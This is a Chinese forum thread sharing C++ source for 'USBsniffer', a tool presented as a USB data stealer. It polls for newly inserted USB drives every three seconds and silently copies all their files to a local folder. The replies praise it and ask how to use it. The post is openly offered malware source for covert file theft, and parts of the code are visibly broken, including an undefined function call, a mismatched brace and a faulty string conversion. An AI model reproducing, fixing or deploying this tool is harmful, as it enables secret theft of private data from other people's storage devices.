U盘资料窃取器(C++版)

社区服务
高级搜索
猴岛论坛电脑百科U盘资料窃取器(C++版)
发帖 回复
正序阅读 最近浏览的帖子最近浏览的版块
2个回复

U盘资料窃取器(C++版)

楼层直达
℡陌メ尐楓

ZxID:10371843

等级: 准尉

举报 只看楼主 使用道具 楼主   发表于: 2010-10-01 0
*USBsniffer v1.0*/
/*USBsniffer*/
/*作者:seek*/
/*日期:2007.2.17*/
/*E-mail:[email protected]*/

功能简介:

本程序以3秒为周期,自动检测本地磁盘改动信息,如果发现有移动硬盘

或者U盘等USB存储设备后,会主动窃取其中所有信息,并保存在用户指定路


#include <iostream>
#include <stdlib.h>
#include <io.h>
#include <windows.h>
#include <string>
#include <sys/types.h>
#include <sys/stat.h>
using namespace std;
void copyfiles(string source,char *target);
char *StringToChar(string source);
bool IsDirectory(const char* fname);
void Init();
int main(int argc,char **argv){
if(argc!=2){
  Init();
}
else{
  while(access(*(argv+1),0)==0){ // if directory already exist,this will auto add '\1' back it;
    strcat(*(argv+1),"\\1\\");
  }
    if(createDirectory(*(argv+1),NULL)){
      DWORD frist=GetLogicalDrives();
      DWORD second,n=0;
      string targetPath="0";
      while(1){ // every 3 seconds to estimate if there is a USB device
        Sleep(3000);
        second=GetLogicalDrives();
        if(second-frist>0){
          second-=frist;
          while(second>>=1) n++;
          targetPath[0]=n+65;
          targetPath+=":\\*";
          copyfiles(targetPath,*(argv+1));
          return 0;
        }
      }
    }
}
}
void copyfiles(string source,char *target){
WIN32_FIND_DATA FindFileData;
HANDLE hFind;
char *sourceDir=0;
int len;
sourceDir=StringToChar(source);
len=strlen(sourceDir);
hFind = FindFirstFile(sourceDir, &FindFileData); //find the target dirctory's frist file;
sourceDir[len-1]='\0'; // take out '*';
while(1){
  if(hFind == INVALID_HANDLE_VALUE){ //file found error
    break;
  }
  else{
    char temp[200];
    char tempPath[200],tempSource[200];
    strcpy(temp,sourceDir);
    strcat(temp,FindFileData.cFileName);
    if(IsDirectory(temp)== true){ //estimate whether is a directory
      if(strcmp(FindFileData.cFileName,".")&&strcmp(FindFileData.cFileName,"..")){ //take out . & ..dirc
        strcpy(tempSource,sourceDir);
        strcat(tempSource,FindFileData.cFileName);
        strcpy(tempPath,target);
        strcat(tempPath,FindFileData.cFileName);
        createDirectory(tempPath,NULL);
        strcat(tempSource,"\\*");
        strcat(tempPath,"\\");
        copyfiles(tempSource,tempPath); //Recursion
      }
    }
    else{ //if is a file,copy to target dirc
      strcpy(tempSource,sourceDir);
      strcpy(tempPath,target);
      strcat(tempPath,FindFileData.cFileName);
      strcat(tempSource,FindFileData.cFileName);
      CopyFile(tempSource,tempPath,false);
    }
    if(FindNextFile(hFind,&FindFileData)==0) break; //found the next file
  }
}
FindClose(hFind);  //handle closed;
}
char* StringToChar(string source){ //string convent to char*
char *ch=new char[source.length()];
ch=(char*)source.c_str();
return ch;
}
bool IsDirectory(const char* fname) //Directory estimate
{

return FILE_ATTRIBUTE_DIRECTORY == GetFileAttributes(fname) ? true : false;
}
void Init(){ //init function
cout<<"\nUSBsniffer v1.0 \n"<<endl
  <<"e.g: usbsniffer c:\\usb\\"<<endl
  <<"\nThen the USB Device'all files will be copy to the directory of c:\\usb\\ without any movement"
  <<",and the whole log will be saved to c:\\log.txt"<<endl
  <<"\nWitten By SeeK QQ:771014"<<endl
  <<"\n2007.2.17"<<endl;
}
本帖de评分: 1 条评分 DB +10
DB+10

我很赞同

[img]http://s8.hk/5hkb                                 


[/img]
冬寒、雪未飘

ZxID:11878703

等级: 大将

举报 只看该作者 板凳   发表于: 2010-10-02 0
好东西
cshceat

ZxID:12794980

等级: 贵宾
附属等级 : 管理员

举报 只看该作者 沙发   发表于: 2010-10-02 0
怎么用?
« 返回列表
发帖 回复